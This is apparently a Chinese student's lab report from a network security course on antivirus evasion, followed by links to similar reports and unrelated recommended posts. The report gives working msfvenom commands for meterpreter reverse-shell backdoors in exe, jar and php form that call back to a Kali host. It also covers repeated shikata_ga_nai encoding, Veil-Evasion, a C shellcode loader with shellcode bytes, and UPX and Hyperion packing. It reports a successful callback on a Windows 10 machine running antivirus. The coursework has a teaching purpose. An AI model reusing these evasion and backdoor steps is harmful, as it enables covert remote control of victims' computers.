NetSec2019 20165327 Exp3 免杀原理与实践

pre基础问题回答

一、免杀原理

一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。

反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

二、Q&A

1、杀软是如何检测出恶意代码的?

基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。

启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。(非精确)

基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。(非精确)

2、免杀是做什么?

使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

3、免杀的基本方法有哪些?

①改变特征码:对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码。

②改变攻击行为:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码。

三、免杀效果评价

利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

环境:

kali IP:10.0.2.15

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;

1、使用msf编码器

①用实验二学到的命令生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt.exe

②将生成的程序上传到virus total试试结果

③使用msf编码器对后门程序编码10次,-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.0.2.15 LPORT=5327 -f exe > metyjt-encoded10.exe

④上传到virus total试试免杀操作是否有效



神马回事。。。为什么分母还变了?网的问题么?

2. msfvenom生成jar文件

①生成jar后门程序:

msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor_java.jar

②生成文件:



③扫描结果:

3. msfvenom生成php文件

①生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 x> yjt_backdoor.php

②生成文件:





③扫描结果:



有、、意思了

4. 使用veil-evasion生成后门程序及检测

打开veil:

use evasion

use c/meterpreter/rev_tcp.py

set LHOST 10.0.2.15

set LPORT 5327

options

结果:

输入generate生成文件,接着输入你想要playload的名字:veil_c_5327

生成文件:

扫描结果:



我操作应该没问题啊为什么和别人不一样

我是该笑还是哭。。。

5. 半手工注入Shellcode并执行

首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=5327 -f c用c语言生成一段shellcode;

创建一个文件20165327.c,然后将unsigned char buf[]赋值到其中,代码如下:

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
……
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
; int main()
{
int (*func)() = (int(*)())buf;
func();
}

使用命令:i686-w64-mingw32-g++ 20165327.c -o 20165327.exe编译这个.c文件为可执行文件;

扫描结果:

使用windows上执行该程序时:



这是可以的意思吗?! 我的电脑除了管家没专业杀毒软件……

快速扫描:



自定义扫描:



这下总算扫到了。。。

6.加壳尝试一下

给之前的20165327.exe加个壳得到yjt_upxed.exe:upx 20165327.exe -o yjt_upxed.exe



扫描结果:

因为要回连,将yjt_upxed.exe放到了ncat文件夹里,查看连接情况

加密壳Hyperion

将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

进入目录/usr/share/windows-binaries/hyperion/中

输入命令wine hyperion.exe -v yjt_upxed.exe yjt_upxed_Hyperion.exe进行加壳:

扫描一下:

任务二:通过组合应用各种技术实现恶意代码免杀

任务一已做

任务三:(用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本)

免杀方法:20165327.exe,再使用压缩壳和加密壳进行加壳。

实验环境:对方win10本机,联想电脑管家

回连成功后:

一直出现的问题:注入半手工shellcode虽然能降低查杀率,但是貌似不能回连,怎么回事。。。

NetSec2019 20165327 Exp3 免杀原理与实践的更多相关文章

  1. 20165310 NetSec2019 Week5 Exp3 免杀原理与实践

    20165310 NetSec2019 Week5 Exp3 免杀原理与实践 一.免杀原理 杀软是如何检测出恶意代码的 基于特征码的检测:特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测 ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

随机推荐

  1. 微信小程序之回调函数

    在微信小程序中众所周知在js里面得方法都是异步执行,我最近再做项目得时候也遇到了这个问题,再方法里面调用另一个方法里面的接口数据,第一次是调取不到的, 因为两个方法是同时开始执行得,所以怎么都取不到值 ...

  2. Fiddler使用总结(转载)

    原文地址:https://www.cnblogs.com/yyhh/p/5140852.html 序章 Fiddler是一个蛮好用的抓包工具,可以将网络传输发送与接受的数据包进行截获.重发.编辑.转存 ...

  3. PeopleSoft Excel To CI

    Excel to CI 链接信息要注意,HTTP还是HTTPS, 端口号从链接可以看到,没有的话可能是默认80端口. 像一下这个页面也可以用CI 导入数据(secondary page)

  4. day16 python之匿名函数,递归函数

    匿名函数 匿名函数格式 函数名 = lambda 参数 :返回值 #参数可以有多个,用逗号隔开 #匿名函数不管逻辑多复杂,只能写一行,且逻辑执行结束后的内容就是返回值 #返回值和正常的函数一样可以是任 ...

  5. python关于类和正则表达( 编写一个程序(类))

    1.什么是类对象,实例对象 类对象:类名实例对象:类创建的对象 2.类属性: 就是类对象所拥有的属性,它被所有类对象的实例对象所共有,在内存中只存在一个副本.对于公有的类属性,在类外可以通过类对象和实 ...

  6. vue 路由守卫

    router.beforeEach((to, from, next) => { const nextRoute = [ 'login']; var token = window.localSto ...

  7. C++ 中的sort()排序函数用法

    sort(first_pointer,first_pointer+n,cmp) 该函数可以给数组,或者链表list.向量排序. 实现原理:sort并不是简单的快速排序,它对普通的快速排序进行了优化,此 ...

  8. springboot+mybatis环境的坑和sql语句简化技巧

    1.springfox-swagger实体类无限递归 https://hacpai.com/article/1525674135818 里面有不完美的解决方案 不用动源码的解决方案也有,在swagge ...

  9. 【题解】Luogu P2221 [HAOI2012]高速公路

    原题传送门 这道题还算简单 我们要求的期望值: \[\frac{\sum_{i=l}^r\sum_{j=l}^rdis[i][j]}{C_{r-l+1}^{2}}\] 当然是上下两部分分别求,下面肥肠 ...

  10. linux普通帐号可以临时切换到root(添加用户到sudoers中)

    一般,进入terminal之后,默认是普通账户能操作的功能,能访问的目录有限,需要临时切换到root账户 那么此时就需要配置sudoers文件,可以让普通用户通过sudo命令临时切换到root账户 首 ...